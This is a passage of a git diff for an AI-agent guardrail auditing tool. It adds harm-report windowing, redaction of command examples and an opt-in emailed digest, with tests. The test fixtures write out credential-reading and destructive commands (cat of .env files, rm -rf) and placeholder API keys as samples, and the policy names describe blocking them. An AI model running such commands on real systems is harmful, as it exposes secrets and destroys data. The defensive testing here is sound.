over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves and no deletions, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries; the stale original is dropped rather than left at the root, since a second copy of a bearer credential is a liability. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) ### Fixes diff --git a/__tests__/actions/update-scheduled-audit.test.ts b/__tests__/actions/update-scheduled-audit.test.ts index 766fe75d..9a36ef13 100644 --- a/__tests__/actions/update-scheduled-audit.test.ts +++ b/__tests__/actions/update-scheduled-audit.test.ts @@ -79,7 +79,7 @@ describe("scheduled-audit write actions", () => { expect(readConfig().telemetry.enabled).toBe(false); expect(JSON.parse(readFileSync(configFile(), "utf8")).telemetry).toEqual({ enabled: false }); // And the audit write actually landed alongside it. - expect(readConfig().audit).toEqual({ auto: true, intervalDays: 14 }); + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 14, emailEnabled: false }); }); it("preserves an unrelated cloud/collector setting across a scan write", async () => { diff --git a/__tests__/audit/harm-report.test.ts b/__tests__/audit/harm-report.test.ts new file mode 100644 index 00000000..14eb1bdc --- /dev/null +++ b/__tests__/audit/harm-report.test.ts @@ -0,0 +1,228 @@ +/** + * Harm selection and windowing. + * + * The window is the part worth testing hardest: `--since` filters on transcript + * MTIME, so a session left open for a month arrives with a fresh mtime and its + * whole history in tow. If the window were not re-applied per event here, the + * first digest anyone received would describe everything their agent had ever + * done as though it happened that week. + */ +import { describe, it, expect } from "vitest"; + +import { buildHarmReport, isHarmful, selectHarmful } from "../../src/audit/harm-report"; +import type { AuditCount, AuditResult } from "../../src/audit/types"; + +const AUG_01 = "2026-08-01T12:00:00.000Z"; +const AUG_07 = "2026-08-07T12:00:00.000Z"; +const AUG_10 = "2026-08-10T12:00:00.000Z"; +const AUG_14 = "2026-08-14T12:00:00.000Z"; + +function count(over: Partial & { name: string; severity: string }): AuditCount { + return { + source: "builtin", + category: "Environment", + hits: 1, + projects: 1, + examples: [], + displayTitle: "Did a thing", + impact: "", + enabledInConfig: false, + installHint: "", + ...over, + } as AuditCount; +} + +function example(timestamp: string, text = "cat /home/sidd/work/acme/.env") { + return { sessionId: "s", cwd: "/home/sidd/work/acme", timestamp, example: text }; +} + +function result(results: AuditCount[], scannedAt = AUG_14): AuditResult { + return { + version: 2, + scannedAt, + scope: { cli: [], projects: "all", since: null }, + transcripts: { scanned: 1, skipped: 0, errors: 0, durationMs: 1 }, + results, + totals: { hits: 0, projectsWithHits: 0 }, + projectsScanned: [], + eventsScanned: 0, + enabledBuiltinNames: [], + }; +} + +describe("isHarmful", () => { + it("takes deny and sanitize, and leaves hygiene alone", () => { + expect(isHarmful(count({ name: "failproofai/block-rm-rf", severity: "deny" }))).toBe(true); + expect(isHarmful(count({ name: "failproofai/sanitize-api-keys", severity: "sanitize" }))).toBe(true); + expect(isHarmful(count({ name: "failproofai/warn-git-amend", severity: "warn" }))).toBe(false); + expect(isHarmful(count({ name: "failproofai/require-commit-before-stop", severity: "warn" }))).toBe(false); + }); + + it("includes protect-env-vars despite its severity reading as warn", () => { + // `severityForBuiltin` derives severity from the NAME PREFIX, so a policy + // that blocks `env`/`printenv` outright reads as hygiene. Its whole subject + // is an agent reaching for the environment — the "read my keys" case this + // feature exists to report. Inheriting a scoring heuristic's blind spot into + // a security digest would be the wrong kind of consistency. + expect(isHarmful(count({ name: "failproofai/protect-env-vars", severity: "warn" }))).toBe(true); + }); + + it("never takes an audit-only detector", () => { + // Detectors have no enforcement path, so "the engine would have blocked it" + // is not true of any of them. + expect( + isHarmful(count({ name: "sleep-polling-loop", severity: "warn", source: "audit-detector" })), + ).toBe(false); + }); +}); + +describe("selectHarmful — the window", () => { + it("drops a policy whose entire history predates the watermark", () => { + // The long-running-session case. Its transcript has a fresh mtime, so the + // scan opened it; nothing in it is new. + const r = result([ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 40, + firstSeen: AUG_01, + lastSeen: AUG_07, + examples: [example(AUG_01), example(AUG_07)], + }), + ]); + expect(selectHarmful(r, new Date(AUG_10), new Date(AUG_14))).toEqual([]); + }); + + it("reports the true total when the policy fired entirely inside the window", () => { + const r = result([ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 12, + firstSeen: AUG_10, + lastSeen: AUG_14, + examples: [example(AUG_10)], + }), + ]); + const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14)); + expect(p.hits).toBe(12); + }); + + it("counts only in-window examples when activity straddles the boundary", () => { + // `hits` is a total over everything scanned and there is no per-event + // breakdown to subtract from it. Reporting the total would describe the + // wrong period; reporting the in-window examples undercounts but every one + // of them is a real event inside the window. + const r = result([ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 40, + firstSeen: AUG_01, + lastSeen: AUG_14, + examples: [example(AUG_01), example(AUG_10), example(AUG_14)], + }), + ]); + const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14)); + expect(p.hits).toBe(2); + expect(p.examples).toHaveLength(2); + }); + + it("undercounts rather than overcounts, so it can delay a digest but never invent one", () => { + const r = result([ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 500, + firstSeen: AUG_01, + lastSeen: AUG_14, + examples: [example(AUG_14)], + }), + ]); + const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14)); + expect(p.hits).toBeLessThan(500); + }); + + it("takes everything up to `to` on a first report, where there is no watermark", () => { + const r = result([ + count({ + name: "failproofai/block-rm-rf", + severity: "deny", + hits: 3, + firstSeen: AUG_01, + lastSeen: AUG_07, + examples: [example(AUG_01)], + }), + ]); + const [p] = selectHarmful(r, undefined, new Date(AUG_14)); + expect(p.hits).toBe(3); + }); + + it("excludes activity after the window closed", () => { + // A clock skew, or a scan that raced an event. It belongs to the next + // report, not this one. + const r = result([ + count({ + name: "failproofai/block-rm-rf", + severity: "deny", + firstSeen: "2999-01-01T00:00:00.000Z", + lastSeen: "2999-01-02T00:00:00.000Z", + }), + ]); + expect(selectHarmful(r, new Date(AUG_07), new Date(AUG_14))).toEqual([]); + }); + + it("keeps an unplaceable policy on a first report and drops it on a later one", () => { + // No usable timestamps, so it cannot be placed. Silence about something new + // is worse than repeating something old, so each window fails the way it + // can afford to. + const r = result([count({ name: "failproofai/block-sudo", severity: "deny", hits: 2 })]); + expect(selectHarmful(r, undefined, new Date(AUG_14))).toHaveLength(1); + expect(selectHarmful(r, new Date(AUG_07), new Date(AUG_14))).toEqual([]); + }); + + it("redacts every example it sends", () => { + const r = result([ + count({ + name: "failproofai/block-env-files", + severity: "deny", + firstSeen: AUG_10, + lastSeen: AUG_10, + examples: [example(AUG_10, "cat /home/sidd/clients/big-bank/.env")], + }), + ]); + const [p] = selectHarmful(r, undefined, new Date(AUG_14)); + expect(p.examples[0]).not.toContain("big-bank"); + expect(p.examples[0]).toContain("~/…/.env"); + }); + + it("orders by hits so a truncated digest keeps the rows that matter", () => { + const r = result([ + count({ name: "failproofai/block-sudo", severity: "deny", hits: 2, firstSeen: AUG_10, lastSeen: AUG_10 }), + count({ name: "failproofai/block-rm-rf", severity: "deny", hits: 9, firstSeen: AUG_10, lastSeen: AUG_10 }), + ]); + const out = selectHarmful(r, undefined, new Date(AUG_14)); + expect(out.map((p) => p.policy)).toEqual(["block-rm-rf", "block-sudo"]); + }); +}); + +describe("buildHarmReport", () => { + it("uses the scan's own scannedAt as the window end, not the current clock", () => { + // The instant the evidence was gathered. A later reading would advance the + // watermark past events that happened while the scan was still running — + // events no report would ever cover. + const r = buildHarmReport(result([], AUG_10), AUG_07); + expect(r.window_to).toBe(AUG_10); + expect(r.window_from).toBe(AUG_07); + }); + + it("omits window_from on a first report", () => { + expect(buildHarmReport(result([]), undefined).window_from).toBeUndefined(); + }); + + it("produces an empty harmful list rather than nothing at all", () => { + // A quiet report is still a report — it is what keeps "scanned and found + // nothing" distinguishable from "stopped reporting". + expect(buildHarmReport(result([]), AUG_07).harmful).toEqual([]); + }); +}); diff --git a/__tests__/audit/redact-example.test.ts b/__tests__/audit/redact-example.test.ts new file mode 100644 index 00000000..56b0054e --- /dev/null +++ b/__tests__/audit/redact-example.test.ts @@ -0,0 +1,121 @@ +/** + * The redactor is the only thing standing between a real command line and an + * email, so these test what it REMOVES rather than what it keeps. + */ +import { describe, it, expect } from "vitest"; + +import { + REDACTED_EXAMPLE_MAX_CHARS, + maskSecrets, + redactExample, + shortenPaths, +} from "../../src/audit/redact-example"; + +const HOME = "/home/sidd"; + +describe("maskSecrets", () => { + it("masks every secret shape the sanitize policies block on", () => { + // Sharing `SECRET_PATTERNS` with the policies is the point; this asserts the + // sharing actually reaches the redactor rather than being a comment. + const cases: [string, string][] = [ + ["curl -H 'Authorization: Bearer abcdefghijklmnopqrstuvwxyz123'", "bearer token"], + ["export ANTHROPIC_API_KEY=sk-ant-abcdefghijklmnopqrstuvwxyz", "Anthropic API key"], + ["gh auth login --with-token ghp_abcdefghijklmnopqrstuvwxyz1234567890", "GitHub personal access token"], + ["aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE", "AWS access key ID"], + ["psql postgresql://admin:hunter2@db.internal:5432/prod", "database credentials"], + ["cat key.pem -----BEGIN RSA PRIVATE KEY-----", "private key"], + ]; + for (const [input, label] of cases) { + const out = maskSecrets(input); + expect(out, input).toContain(`[REDACTED: ${label}]`); + } + }); + + it("masks EVERY occurrence, not just the first", () => { + // The `lastIndex` trap: a shared global regex would carry position across + // calls and skip matches depending on where it stopped last time — which + // only shows up once a policy has more than one example, and reads as + // flakiness rather than logic. + const two = "AKIAIOSFODNN7EXAMPLE and AKIAJKLMNOPQRSTUVWXY"; + const out = maskSecrets(two); + expect(out).not.toMatch(/AKIA[A-Z0-9]{16}/); + expect(out.match(/\[REDACTED: AWS access key ID\]/g)).toHaveLength(2); + }); + + it("is stable across repeated calls", () => { + // The same trap from the other side: calling twice must give the same + // answer, which a stateful shared regex would not. + const s = "ghp_abcdefghijklmnopqrstuvwxyz1234567890"; + expect(maskSecrets(s)).toBe(maskSecrets(s)); + }); + + it("leaves ordinary text alone", () => { + const s = "git commit -m 'fix the parser'"; + expect(maskSecrets(s)).toBe(s); + }); +}); + +describe("shortenPaths", () => { + it("reduces a home path to ~/…/basename", () => { + expect(shortenPaths("/home/sidd/work/acme/src/db.ts", HOME)).toBe("~/…/db.ts"); + }); + + it("drops the project directory, which is the most identifying token", () => { + // Usually a client or employer name. The basename is what makes a finding + // recognisable; the chain above it is a map of someone's disk. + const out = shortenPaths("/home/sidd/clients/big-bank-plc/.env.production", HOME); + expect(out).toBe("~/…/.env.production"); + expect(out).not.toContain("big-bank-plc"); + }); + + it("shortens paths OUTSIDE home too", () => { + // "not under home" is not the same as "safe to send" — a build agent's + // checkout lives under /build as often as anywhere. + expect(shortenPaths("/etc/ssl/private/server.key", HOME)).toBe("/…/server.key"); + expect(shortenPaths("/var/lib/secrets/token.yml", HOME)).toBe("/…/token.yml"); + }); + + it("keeps a command recognisable around the path", () => { + expect(shortenPaths("cat /home/sidd/work/acme/.env", HOME)).toBe("cat ~/…/.env"); + }); + + it("leaves relative paths and flags alone", () => { + const s = "rm -rf ./node_modules --force"; + expect(shortenPaths(s, HOME)).toBe(s); + }); +}); + +describe("redactExample", () => { + it("masks before shortening, so a secret inside a path cannot be sliced apart", () => { + // If shortening ran first it would cut the path mid-token, and the fragment + // would no longer match its own pattern — shipping half a credential. + const out = redactExample("/home/sidd/ghp_abcdefghijklmnopqrstuvwxyz1234567890/x.txt", HOME); + expect(out).not.toContain("ghp_abcdefghijklmnopqrstuvwxyz1234567890"); + expect(out).toContain("[REDACTED: GitHub personal access token]"); + }); + + it("collapses a multi-line command onto one row", () => { + // A heredoc reaches the digest as one line; a raw newline breaks the + // plain-text layout and says nothing the single line does not. + expect(redactExample("cat < { + const out = redactExample("x".repeat(500), HOME); + expect(out.length).toBe(REDACTED_EXAMPLE_MAX_CHARS); + expect(out.endsWith("…")).toBe(true); + }); + + it("handles the realistic case end to end", () => { + const out = redactExample( + "cat /home/sidd/work/acme/.env.production | grep sk-ant-abcdefghijklmnopqrstuvwxyz", + HOME, + ); + expect(out).toContain("~/…/.env.production"); + expect(out).toContain("[REDACTED: Anthropic API key]"); + expect(out).not.toContain("acme"); + expect(out).not.toContain("sk-ant-abcdefghijklmnopqrstuvwxyz"); + }); +}); diff --git a/__tests__/audit/report-harm.test.ts b/__tests__/audit/report-harm.test.ts new file mode 100644 index 00000000..0107c4e7 --- /dev/null +++ b/__tests__/audit/report-harm.test.ts @@ -0,0 +1,232 @@ +/** + * The reporting side effect, and the property that matters most about it: + * NOTHING here may break a scan. + * + * By the time `reportHarm` runs the scan has already completed and its result is + * already on disk. A dead network, an expired session or an api-server having a + * bad day must leave the local feature working and the local dashboard correct — + * a person who never enabled emailed reports must not be able to tell this code + * exists at all. + */ +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync, readFileSync, existsSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; + +const { readConfigMock, getTokenMock, submitMock } = vi.hoisted(() => ({ + readConfigMock: vi.fn(), + getTokenMock: vi.fn(), + submitMock: vi.fn(), +})); + +vi.mock("../../src/hooks/fp-config", () => ({ readConfig: readConfigMock })); +vi.mock("../../lib/auth/auth-store", () => ({ getValidAccessToken: getTokenMock })); +vi.mock("../../lib/auth/api-server-client", async (orig) => ({ + ...(await orig()), + submitAuditReport: submitMock, +})); + +import { reportHarm, describeOutcome } from "../../src/audit/report-harm"; +import { auditMachineFile } from "../../src/hooks/fp-home"; +import type { AuditResult } from "../../src/audit/types"; + +let home: string; +let prevHome: string | undefined; + +const SCANNED_AT = "2026-08-14T12:00:00.000Z"; + +function result(): AuditResult { + return { + version: 2, + scannedAt: SCANNED_AT, + scope: { cli: [], projects: "all", since: null }, + transcripts: { scanned: 1, skipped: 0, errors: 0, durationMs: 1 }, + results: [ + { + name: "failproofai/block-rm-rf", + source: "builtin", + category: "Dangerous Commands", + severity: "deny", + hits: 4, + projects: 1, + firstSeen: SCANNED_AT, + lastSeen: SCANNED_AT, + examples: [ + { sessionId: "s", cwd: "/home/x", timestamp: SCANNED_AT, example: "rm -rf /home/x/y/z" }, + ], + displayTitle: "Ran rm -rf", + impact: "", + enabledInConfig: false, + installHint: "", + }, + ], + totals: { hits: 4, projectsWithHits: 1 }, + projectsScanned: [], + eventsScanned: 10, + enabledBuiltinNames: [], + }; +} + +function enableEmail(on: boolean) { + readConfigMock.mockReturnValue({ audit: { auto: true, intervalDays: 7, emailEnabled: on } }); +} + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-report-")); + process.env.FAILPROOFAI_HOME = home; + readConfigMock.mockReset(); + getTokenMock.mockReset(); + submitMock.mockReset(); + enableEmail(true); + getTokenMock.mockResolvedValue({ access_token: "at", user: { id: "u", email: "a@b.c" } }); + submitMock.mockResolvedValue({ + report_id: "r1", + emailed: true, + reason: null, + next_window_from: SCANNED_AT, + }); +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +describe("reportHarm — the opt-in", () => { + it("does nothing at all when emailed reports are off", async () => { + // The majority case. No token read, no machine id minted, no request. + enableEmail(false); + expect(await reportHarm(result())).toEqual({ kind: "disabled" }); + expect(getTokenMock).not.toHaveBeenCalled(); + expect(submitMock).not.toHaveBeenCalled(); + expect(existsSync(auditMachineFile())).toBe(false); + }); + + it("treats an unreadable config as off — the direction that sends nothing", async () => { + readConfigMock.mockImplementation(() => { + throw new Error("corrupt"); + }); + expect(await reportHarm(result())).toEqual({ kind: "disabled" }); + expect(submitMock).not.toHaveBeenCalled(); + }); + + it("reports signed-out rather than failing when there is no session", async () => { + // An expired or revoked token. The scan already succeeded and its result is + // on the dashboard; only the email is lost, and the remedy needs a human. + getTokenMock.mockResolvedValue(null); + expect(await reportHarm(result())).toEqual({ kind: "signed-out" }); + expect(submitMock).not.toHaveBeenCalled(); + }); +}); + +describe("reportHarm — the request", () => { + it("sends a redacted payload and never the destination address", async () => { + await reportHarm(result()); + const [token, body] = submitMock.mock.calls[0]; + expect(token).toBe("at"); + expect(body.machine_id).toMatch(/[0-9a-f-]{36}/); + expect(body.window_to).toBe(SCANNED_AT); + expect(body.harmful[0].policy).toBe("block-rm-rf"); + // Redaction reached the wire. + expect(body.harmful[0].examples[0]).toContain("/…/z"); + // The api-server takes the address from the token claims, so a report can + // never name where its own digest goes. + expect(JSON.stringify(body)).not.toContain("a@b.c"); + }); + + it("mints the machine id once and reuses it", async () => { + await reportHarm(result()); + const first = JSON.parse(readFileSync(auditMachineFile(), "utf8")).machine_id; + await reportHarm(result()); + const second = JSON.parse(readFileSync(auditMachineFile(), "utf8")).machine_id; + expect(second).toBe(first); + }); + + it("persists the server's watermark, not its own window", async () => { + // The server anchors on the last DELIVERED digest. Computing this locally + // would advance it past a held or failed digest and drop those findings. + submitMock.mockResolvedValue({ + report_id: "r1", + emailed: true, + reason: null, + next_window_from: "2026-08-13T00:00:00.000Z", + }); + await reportHarm(result()); + expect(JSON.parse(readFileSync(auditMachineFile(), "utf8")).last_reported_at).toBe( + "2026-08-13T00:00:00.000Z", + ); + }); + + it("persists the watermark even when nothing was mailed", async () => { + // The server's answer already accounts for that — a held digest leaves the + // watermark where it was. Writing it back is how this machine inherits that + // decision instead of re-deriving it and getting it subtly wrong. + submitMock.mockResolvedValue({ + report_id: "r1", + emailed: false, + reason: "cooldown", + next_window_from: "2026-08-01T00:00:00.000Z", + }); + const outcome = await reportHarm(result()); + expect(outcome).toEqual({ kind: "held", hits: 4, reason: "cooldown" }); + expect(JSON.parse(readFileSync(auditMachineFile(), "utf8")).last_reported_at).toBe( + "2026-08-01T00:00:00.000Z", + ); + }); + + it("sends the window it last recorded", async () => { + mkdirSync(resolve(home, "audit"), { recursive: true }); + writeFileSync( + auditMachineFile(), + JSON.stringify({ machine_id: "m-1", last_reported_at: "2026-08-07T00:00:00.000Z", created_at: SCANNED_AT }), + ); + await reportHarm(result()); + expect(submitMock.mock.calls[0][1].window_from).toBe("2026-08-07T00:00:00.000Z"); + }); +}); + +describe("reportHarm — failure never escapes", () => { + it("returns an outcome instead of throwing when the request fails", async () => { + submitMock.mockRejectedValue(new Error("ECONNREFUSED")); + const outcome = await reportHarm(result()); + expect(outcome.kind).toBe("failed"); + if (outcome.kind === "failed") expect(outcome.error).toContain("ECONNREFUSED"); + }); + + it("survives a machine file that cannot be written", async () => { + // A read-only home, or a full disk. The scan still succeeded. + writeFileSync(resolve(home, "audit"), "not a directory"); + const outcome = await reportHarm(result()); + expect(outcome.kind).toBe("failed"); + }); +}); + +describe("describeOutcome", () => { + it("says nothing to the majority who never opted in", () => { + expect(describeOutcome({ kind: "disabled" })).toBeNull(); + }); + + it("tells a signed-out machine how to resume", () => { + const line = describeOutcome({ kind: "signed-out" }); + expect(line).toContain("signed out"); + expect(line).toContain("audit page"); + }); + + it("does not call a held digest an error", () => { + // A machine below the threshold, or inside its cooldown, is working exactly + // as intended. Calling that a failure trains people to ignore the line. + const line = describeOutcome({ kind: "held", hits: 2, reason: "below_threshold" }) ?? ""; + // Matched against the MESSAGE, not the whole line — the brand name itself + // contains "fail", which a naive /fail/i would happily flag. + const message = line.replace(/^failproofai:\s*/, ""); + expect(message).not.toMatch(/error|fail|could not/i); + expect(message).toContain("below_threshold"); + }); + + it("pluralises findings", () => { + expect(describeOutcome({ kind: "sent", hits: 1 })).toContain("1 finding)"); + expect(describeOutcome({ kind: "sent", hits: 3 })).toContain("3 findings)"); + }); +}); diff --git a/__tests__/hooks/fp-home.test.ts b/__tests__/hooks/fp-home.test.ts index 6f05f3ea..8a03ada6 100644 --- a/__tests__/hooks/fp-home.test.ts +++ b/__tests__/hooks/fp-home.test.ts @@ -446,7 +446,7 @@ describe("config.toml", () => { redact: "off" as const, environment: "prod", machineId: "box-1", }, telemetry: { enabled: true }, - audit: { auto: true, intervalDays: 14 }, + audit: { auto: true, intervalDays: 14, emailEnabled: false }, }; writeConfig(cfg); expect(readConfig()).toEqual(cfg); @@ -485,25 +485,29 @@ describe("config.toml", () => { // The opposite posture to telemetry directly above: off, and deliberately // visible, because it is a switch the user is meant to find and flip. It is // off because the scan reads the contents of every transcript on disk. - expect(DEFAULT_CONFIG.audit).toEqual({ auto: false, intervalDays: 7 }); + expect(DEFAULT_CONFIG.audit).toEqual({ auto: false, intervalDays: 7, emailEnabled: false }); writeConfig(DEFAULT_CONFIG); // Both keys on disk, unconditionally. The layout-2 file made this visible // with a comment block; JSON cannot carry one, so what survives is the // weaker but still real guarantee: every field the struct holds is written, // so no later regeneration can silently drop one. const written = JSON.parse(readFileSync(H.configFile(), "utf8")); - expect(written.audit).toEqual({ auto: false, interval_days: 7 }); + expect(written.audit).toEqual({ auto: false, interval_days: 7, email_enabled: false }); }); it("an enabled auto-audit SURVIVES a rewrite", () => { // writeConfig regenerates the whole file, so a key it does not emit is a key // it silently deletes — the failure that would turn somebody's weekly audit // off the next time any unrelated setting changed. - writeConfig({ ...DEFAULT_CONFIG, audit: { auto: true, intervalDays: 30 } }); - expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30 }); + writeConfig({ ...DEFAULT_CONFIG, audit: { auto: true, intervalDays: 30, emailEnabled: true } }); + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30, emailEnabled: true }); writeConfig({ ...readConfig(), collector: { ...DEFAULT_CONFIG.collector, environment: "ci" } }); - expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30 }); + // `emailEnabled` is asserted alongside `auto` deliberately: it is the switch + // that makes anything leave the machine, so a rewrite silently dropping it + // would turn emailed reports off with no notice — the same class of failure + // this test was written for, on the newer of the two keys. + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30, emailEnabled: true }); }); it("only an explicit true switches the auto-audit on", () => { @@ -535,7 +539,7 @@ describe("config.toml", () => { writeConfig({ ...DEFAULT_CONFIG, telemetry: { enabled: false } }); updateConfig({ audit: { auto: true } }); const after = readConfig(); - expect(after.audit).toEqual({ auto: true, intervalDays: 7 }); + expect(after.audit).toEqual({ auto: true, intervalDays: 7, emailEnabled: false }); expect(after.telemetry.enabled).toBe(false); // untouched }); @@ -557,7 +561,7 @@ describe("config.toml", () => { mode: "cloud" as const, daemon: { configured: true }, telemetry: { enabled: false }, - audit: { auto: true, intervalDays: 30 }, + audit: { auto: true, intervalDays: 30, emailEnabled: false }, collector: { ...DEFAULT_CONFIG.collector, environment: "ci", machineId: "m-1" }, }; writeConfig(config); diff --git a/__tests__/hooks/harness-extra-paths.test.ts b/__tests__/hooks/harness-extra-paths.test.ts index 2f0c5729..786dc0c9 100644 --- a/__tests__/hooks/harness-extra-paths.test.ts +++ b/__tests__/hooks/harness-extra-paths.test.ts @@ -119,7 +119,7 @@ describe("harness extra paths", () => { redact: "off", }, telemetry: { enabled: false }, - audit: { auto: true, intervalDays: 14 }, + audit: { auto: true, intervalDays: 14, emailEnabled: false }, }); addPath("codex", "alt=/mnt/other/.codex/sessions"); @@ -131,7 +131,7 @@ describe("harness extra paths", () => { expect(cfg.collector.machineId).toBe("m-123"); expect(cfg.collector.redact).toBe("off"); expect(cfg.telemetry.enabled).toBe(false); - expect(cfg.audit).toEqual({ auto: true, intervalDays: 14 }); + expect(cfg.audit).toEqual({ auto: true, intervalDays: 14, emailEnabled: false }); expect(cfg.collector.sources?.codex.extraPaths).toEqual(["alt=/mnt/other/.codex/sessions"]); }); diff --git a/lib/auth/api-server-client.ts b/lib/auth/api-server-client.ts index 3692bfcc..7546c5ad 100644 --- a/lib/auth/api-server-client.ts +++ b/lib/auth/api-server-client.ts @@ -266,6 +266,56 @@ export async function sendInvites( ); } +export interface AuditReportBody { + machine_id: string; + label?: string; + platform?: string; + window_from?: string; + window_to: string; + harmful: { + policy: string; + category: string; + title: string; + hits: number; + first_seen?: string; + last_seen?: string; + examples: string[]; + }[]; +} + +export interface AuditReportResult { + report_id: string; + /** Whether this report produced an email. */ + emailed: boolean; + /** `below_threshold`, `cooldown`, `send_failed`, or null when mail went out. */ + reason: string | null; + /** + * Where the next window starts, per the SERVER. + * + * Persisted verbatim rather than computed locally. The server anchors it on + * the last DELIVERED digest, so a report held by the cooldown — or one whose + * send failed — correctly leaves the watermark where it was, and its findings + * turn up in the next digest instead of falling into a gap. A machine that + * lost `machine.json` also resyncs here rather than re-reporting from the + * beginning of time. + */ + next_window_from: string; +} + +/** + * Submit one scheduled scan's harmful findings. + * + * Called only by the audit child, and only on `--scheduled`. The destination + * address is never sent: the api-server takes it from the access-token claims, + * so a report cannot name where its digest goes. + */ +export async function submitAuditReport( + accessToken: string, + body: AuditReportBody, +): Promise { + return postJson("/v0/audit-reports", body, { accessToken }); +} + interface JwtClaims { sub: string; email: string; diff --git a/src/audit/cli.ts b/src/audit/cli.ts index 8d6b718e..bd8e2c50 100644 --- a/src/audit/cli.ts +++ b/src/audit/cli.ts @@ -28,6 +28,7 @@ import { trackHookEvent } from "../hooks/hook-telemetry"; import { getInstanceId } from "../../lib/telemetry-id"; import { sanitizeErrorMessage } from "../../lib/telemetry-sanitize"; import { openWhenReady } from "./open-browser"; +import { describeOutcome, reportHarm } from "./report-harm"; import { brandAnsi, ANSI_RESET, ANSI_BOLD, ANSI_DIM } from "../hooks/tui"; /** Port the bundled dashboard binds to. Matches `scripts/launch.ts`'s default @@ -365,6 +366,29 @@ export async function runScheduledAudit(): Promise { `${num(result.transcripts.scanned)} sessions, ${num(result.totals.hits)} hits\n`, ); + // Report harmful findings upstream, if the user switched emailed reports on. + // + // AFTER the dashboard cache is written and AFTER the success line, because + // the scan is the product and this is an optional extra on top of it. + // `reportHarm` never throws — every failure inside it is an outcome — so a + // dead network, an expired session or an api-server having a bad day cannot + // turn a successful scan into exit 1. A machine that never opted in prints + // nothing at all and does no work here. + // + // Scheduled runs ONLY. An interactive `failproofai audit` has a person + // sitting in front of the result, so mailing it to them is noise, and it + // would also make the manual command do a network call that + // `audit --help` promises it does not. + const outcome = await reportHarm(result); + const line = describeOutcome(outcome); + if (line) { + // Anything other than a successful send goes to stderr: on a scheduled run + // the journal is the only reader, and "the email did not go out" is the + // half worth finding with a grep. + const stream = outcome.kind === "sent" ? process.stdout : process.stderr; + stream.write(`${line}\n`); + } + return 0; } finally { attempt.lock.release(); diff --git a/src/audit/harm-report.ts b/src/audit/harm-report.ts new file mode 100644 index 00000000..3b3d97a7 --- /dev/null +++ b/src/audit/harm-report.ts @@ -0,0 +1,189 @@ +/** + * Turning an audit result into a harm report the api-server can act on. + * + * Runs only after a SCHEDULED scan (`failproofai audit --scheduled`), only when + * the user has switched emailed reports on, and only ever from the audit child — + * never the daemon, which holds no human credential precisely so that refresh + * rotation stays inside the audit lock. See `crates/failproofaid/src/audit_lane.rs`. + * + * ## What counts as harm + * + * The policies the engine would have BLOCKED, plus the ones that caught a secret + * on its way into the model's context. In terms of `severityForBuiltin`, that is + * `deny` and `sanitize` — `block-*` and `sanitize-*` — and NOT `warn-`, + * `prefer-` or `require-`, which are hygiene. + * + * One name is added by hand, and it is worth explaining rather than hiding: + * `severityForBuiltin` derives severity from the NAME PREFIX, so + * `protect-env-vars` reads as `warn` despite being a policy that blocks `env` / + * `printenv` outright. Its whole subject is an agent reaching for the + * environment, which is the "read my keys" case this feature exists to report. + * Inheriting a scoring heuristic's blind spot into a security digest would be + * the wrong kind of consistency. + * + * ## The window, and the trap in `--since` + * + * `RunAuditOptions.since` filters on transcript MTIME, and that is right for + * what it does — it decides which files to open. It is WRONG as a window for + * this: a session left open for a month has a fresh mtime, so `--since 7d` + * hands back that whole transcript including month-old events, and the first + * digest would report everything the agent has ever done as though it happened + * this week. + * + * So the window is applied HERE, per event, against the timestamps `AuditCount` + * already carries — `lastSeen` to decide whether a policy fired in the window at + * all, and each example's own `timestamp` to decide which examples belong to it. + * The scan itself stays unfiltered. + * + * ## Counts are approximate; the window boundary is not + * + * `AuditCount.hits` is a total over everything scanned, and there is no + * per-event breakdown to subtract from it — the cache stores counts, not event + * lists. Rather than report a total that spans the wrong period, a policy whose + * activity straddles the window boundary reports the number of EXAMPLES that + * fall inside it, which is a real count of real events even though it is capped + * at three. A policy entirely inside the window reports its true total. The + * server's threshold reads these, so undercounting is the safe direction: it can + * delay a digest, never invent one. + */ +import type { AuditCount, AuditResult } from "./types"; +import { redactExample } from "./redact-example"; + +/** Severities that mean "the engine would have stopped this". */ +const HARMFUL_SEVERITIES = new Set(["deny", "sanitize"]); + +/** + * Policies whose severity misreads their intent. See the module docs. + * + * Kept as an explicit list rather than by rewriting `severityForBuiltin`, + * because that function feeds the SCORE's gentle/medium buckets and changing it + * would silently move every historical score. + */ +const ALSO_HARMFUL = new Set(["protect-env-vars"]); + +/** One policy's harmful activity inside the window, as the wire expects it. */ +export interface ReportedPolicy { + policy: string; + category: string; + title: string; + hits: number; + first_seen?: string; + last_seen?: string; + examples: string[]; +} + +export interface HarmReport { + 